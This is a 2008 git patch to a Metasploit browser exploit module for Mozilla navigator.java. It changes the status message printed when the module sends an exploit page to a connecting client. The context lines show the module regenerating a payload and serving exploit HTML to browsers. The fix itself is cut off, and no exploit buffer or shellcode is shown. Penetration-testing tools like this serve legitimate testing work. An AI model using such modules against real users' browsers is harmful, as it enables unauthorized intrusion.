From a0a203fba7dd0ba28543b720c2ece9046b5985f4 Mon Sep 17 00:00:00 2001 From: James Lee Date: Sat, 19 Jul 2008 05:03:01 +0000 Subject: [PATCH] don't hang the browser building the exploit buffer if we can't exploit it git-svn-id: file:///home/svn/framework3/trunk@5558 4d416f70-5f16-0410-b530-b9f4589650da --- .../multi/browser/mozilla_navigatorjava.rb | 30 +++++++++---------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index b95a70e205..353872a57a 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -90,7 +90,7 @@ class Exploits::Multi::Browser::Mozilla_NavigatorJava < Msf::Exploit::Remote # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) - print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) # Handle the payload @@ -105,22 +105,20 @@ class Exploits::Multi::Browser::Mozilla_NavigatorJava < Msf::Exploit::Remote